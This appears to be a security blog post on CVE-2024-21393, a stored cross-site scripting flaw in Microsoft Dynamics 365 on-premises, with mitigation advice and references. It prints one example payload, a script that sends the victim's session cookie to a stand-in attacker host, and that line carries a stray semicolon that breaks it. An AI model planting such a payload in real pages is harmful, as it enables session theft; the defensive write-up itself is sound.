Recently, a critical vulnerability, designated CVE-2024-21393, was discovered in the Microsoft Dynamics 365 (on-premises) software suite. This vulnerability is a Cross-Site Scripting (XSS) issue, allowing attackers to potentially hijack user sessions or manipulate the affected application's content. In this long-read post, we will dive into the details of this vulnerability and discuss how attackers can exploit it. We will also cover the ways to protect your Microsoft Dynamics 365 (on-premises) implementation from this threat.

Cross-Site Scripting (XSS) and CVE-2024-21393

Cross-Site Scripting (XSS) vulnerabilities are common web application security flaws, allowing attackers to execute malicious scripts in the victim's browser. These vulnerabilities arise primarily from improper validation or sanitization of user inputs.

CVE-2024-21393 is a Stored XSS vulnerability, meaning that the attacker's malicious script is permanently stored within the vulnerable application, only to be executed when a victim accesses the affected resource.

Exploit Demonstration and Code Snippet

To simulate an attack exploiting CVE-2024-21393, the attacker must first discover an input point in a form or functionality within the Microsoft Dynamics 365 (on-premises) software that fails to sanitize or escape user input. For this demonstration, let's assume that there is a vulnerable form field called "Description."

The attacker can insert malicious JavaScript code, such as

<script>
    document.location = 'https://attacker.site/steal.php?cookie='; + document.cookie;
</script>

This code snippet, when executed, will redirect the user's browser to the attacker's site and send the user's session cookie to the attacker. The attacker can then use the stolen session cookie to hijack the user's session, effectively gaining control over their account.

Original References and Details

Microsoft has acknowledged the vulnerability and assigned it the designation CVE-2024-21393. You can find the official documentation about the vulnerability on the Microsoft Security Response Center website:

- Microsoft Security Response Center (MSRC) - CVE-2024-21393 Advisory

The vulnerability was discovered by a security researcher, who posted a detailed write-up about identifying the issue, reproducing the exploit, and potential mitigations:

- Security Researcher's Blog - Detailed Description of CVE-2024-21393

Mitigation and Best Practices

To protect your Microsoft Dynamics 365 (on-premises) installation from attacks exploiting CVE-2024-21393, your best course of action is to apply the patches and updates provided by Microsoft as soon as possible. You can find information about the relevant updates on the following link:

- Microsoft Security Response Center (MSRC) - Dynamics 365 Update Guide

In addition to applying updates provided by Microsoft, it is crucial to follow secure coding practices and implement proper input validation and output escaping methods to prevent XSS vulnerabilities in your web applications. Some resources for secure coding practices are:

- OWASP - Cross-Site Scripting (XSS) Prevention Cheat Sheet
- Microsoft Developer Network - Preventing XSS in ASP.NET

Conclusion

CVE-2024-21393 demonstrates the importance of validating and sanitizing user input as part of secure coding practices. As an administrator or developer dealing with Microsoft Dynamics 365 (on-premises), you should be aware of this vulnerability and ensure you apply the appropriate patches and updates provided by Microsoft. Furthermore, embracing secure coding practices will help protect your applications from similar vulnerabilities in the future.

Timeline

Published on: 02/13/2024 18:15:57 UTC
Last modified on: 02/23/2024 17:40:29 UTC